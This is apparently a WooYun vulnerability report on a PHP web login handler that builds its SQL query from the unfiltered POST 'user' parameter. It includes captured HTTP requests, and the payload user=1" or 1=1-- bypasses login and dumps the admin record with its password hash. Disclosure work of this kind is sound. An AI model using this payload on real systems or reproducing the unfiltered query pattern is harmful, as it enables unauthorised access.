WooYun.org

public function x()


    { 


        $user = $_POST['user'];	//注释：user直接用POST过来的参数


        $pass = md5($user.md5($_POST['pass']));


        $r = getAll($this->table,'username="'.$user.'" and passwd="'.$pass.'"'); //注释：sql语句拼接，user无任何过滤带入查询


		$r_lock = getAll($this->table,'username="' . $user . '"');


		isset($r_lock[0]) and $r_lock = $r_lock[0];


        //首先判断是否已经被锁定


		if (!empty($r_lock) && $r_lock['loginerror'] >= $this->login_error_time 


			&& ($r_lock['logintime'] + $this->lock_time) > time()) {


			$data['recode'] = 2;


			$data['error'] = '您的账户被禁止5分钟';


		} else if (isset($r[0]['id'])){


        	


            //判断是否被禁用


            if($r[0]['state']!='up'){


                $data['recode'] = 2;


                $data['error'] = '您的账户已经被禁止';


			}else if($r[0]['authority'] == 'full' && $r[0]['id'] == 1){


				$_SESSION['uid'] = $r[0]['id'];


				$_SESSION['username'] = $user;


			    $_SESSION['authority']['checkfull'] = 1;


                $data['recode'] = 0;


                $data['error'] = '登录成功';


            }else{


				$_SESSION['uid'] = $r[0]['id'];


                $_SESSION['username'] = $user;


                //拼接权限


                $auth = explode("|",$r[0]['authority']);


                foreach ($auth as $k) {


                    $tmp = explode(":",$k);


                    $_SESSION['authority'][$tmp[0]] = $tmp[1];


                }


               


                $data['recode'] = 0;


                $data['error'] = '登录成功';


            }


			


			if(!empty($r[0]['ip_addr']) && $this->iptolong($r[0]['ip_addr'])!='0'){//安全ip


					


				$ip=$this->iptolong($_SERVER['REMOTE_ADDR']);


				$ip_addr=explode('-',$r[0]['ip_addr']);


				


				if(!isset($ip_addr[1])){


					$ip_addr=$this->iptolong($ip_addr[0]);


					


					if($ip!=$ip_addr){


						$data['recode'] = 3;


						$data['error'] = '您的IP不是安全IP';


					}


					


				}else{


					$left=$this->iptolong($ip_addr[0]);


					$right=$this->iptolong($ip_addr[1]);


					if($ip<$left && $right>$ip){


						$data['recode'] = 3;


						$data['error'] = '您的IP不是安全IP';


					}


				}


			}


				


			


        } else {


        	if (!empty($r_lock)) {


        		//存在改用户名，密码错误，记录错误次数及登录时间


        		$update_data = array(


        			'loginerror' => empty($r_lock['loginerror']) ? 1 : ($r_lock['loginerror'] + 1),


        			'logintime'	=> time()


        		);


        		


        		if (($r_lock['logintime'] + $this->lock_time) <= time()) {


        			//已经过了禁用期限，清除登录错误次数，当然本次登录错误要记录


        			$update_data['loginerror'] = 1;


        		}


        		autoExecute($this->table, $update_data, 'update', 'id=' . $r_lock['id']);


        	}


            $data['recode'] = 1;


            $data['error'] = '登录失败' . (isset($update_data) ? $update_data['loginerror'] . '次' : '');


        }


        


        if ($data['recode'] == 0) {


        	//登录成功，记录登录时间，清除登录失败次数


        	$update_data = array(


        			'loginerror' => 0,


        			'logintime'	=> time()


        	);


        	autoExecute($this->table, $update_data, 'update', 'id=' . $r_lock['id']);


        }//$data['debug'] = var_export($r_lock, true) . var_export($update_data, true);


        echo json_encode($data);


        


    }


getAll函数在/application/helpers/db_helper.php里面


/******************************************


 * 查询所有数据


 * 参数 ：$where 预留条件变量


 *        $option 指定查询字段


 * return：array


 */


function getAll($table,$where='',$option=''){


	return arrayToLevel(json_decode(ikGet($table,$where,'',$option),true));


}

select * from webuser where username=’ $_POST['user']’ and passwd=’ d5($user.md5($_POST['pass']))’

var_dump(arrayToLevel(json_decode(ikGet($table,$where,'',$option),true)));

POST **.**.**.**/login/x HTTP/1.1


Host: **.**.**.**


User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 


Accept: application/json, text/javascript, */*; q=0.01


Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3


Accept-Encoding: gzip, deflate


Content-Type: application/x-www-form-urlencoded; charset=UTF-8


X-Requested-With: XMLHttpRequest


Referer: **.**.**.**/


Content-Length: 13


Cookie: PHPSESSID=e6b8bf28447de49246be1ee4b7876e49


Connection: keep-alive


Pragma: no-cache


Cache-Control: no-cache





user=1&pass=1





Response


HTTP/1.1 200 OK


X-Powered-By: PHP/5.3.1


Content-Type: text/html;charset=utf-8


Expires: Thu, 19 Nov 1981 08:52:00 GMT


Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0


Pragma: no-cache


Date: Fri, 24 Apr 2015 06:28:39 GMT


Server: lighttpd/1.4.30


Content-Length: 73





array(0) {


}


array(0) {


}


{"recode":1,"error":"\u767b\u5f55\u5931\u8d25"}

Request


POST **.**.**.**/login/x HTTP/1.1


Host: **.**.**.**


User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0


Accept: application/json, text/javascript, */*; q=0.01


Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3


Accept-Encoding: gzip, deflate


DNT: 1


Content-Type: application/x-www-form-urlencoded; charset=UTF-8


X-Requested-With: XMLHttpRequest


Referer: **.**.**.**/


Content-Length: 23


Cookie: PHPSESSID=e6b8bf28447de49246be1ee4b7876e49


Connection: keep-alive


Pragma: no-cache


Cache-Control: no-cache





user=1" or 1=1--&pass=1





Response


HTTP/1.1 200 OK


X-Powered-By: PHP/5.3.1


Content-Type: text/html;charset=utf-8


Expires: Thu, 19 Nov 1981 08:52:00 GMT


Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0


Pragma: no-cache


Date: Fri, 24 Apr 2015 06:29:09 GMT


Server: lighttpd/1.4.30


Content-Length: 811





array(1) {


  [0]=>


  array(8) {


    ["id"]=>


    string(1) "1"


    ["state"]=>


    string(2) "up"


    ["username"]=>


    string(5) "admin"


    ["passwd"]=>


    string(32) "c0e024d9200b5705bc4804722636378a"


    ["ip_addr"]=>


    string(7) "**.**.**.**"


    ["authority"]=>


    string(4) "full"


    ["loginerror"]=>


    string(1) "0"


    ["logintime"]=>


    string(10) "1429847267"


  }


}


array(1) {


  [0]=>


  array(8) {


    ["id"]=>


    string(1) "1"


    ["state"]=>


    string(2) "up"


    ["username"]=>


    string(5) "admin"


    ["passwd"]=>


    string(32) "c0e024d9200b5705bc4804722636378a"


    ["ip_addr"]=>


    string(7) "**.**.**.**"


    ["authority"]=>


    string(4) "full"


    ["loginerror"]=>


    string(1) "0"


    ["logintime"]=>


    string(10) "1429847267"


  }


}


{"recode":0,"error":"\u767b\u5f55\u6210\u529f"} //登录成功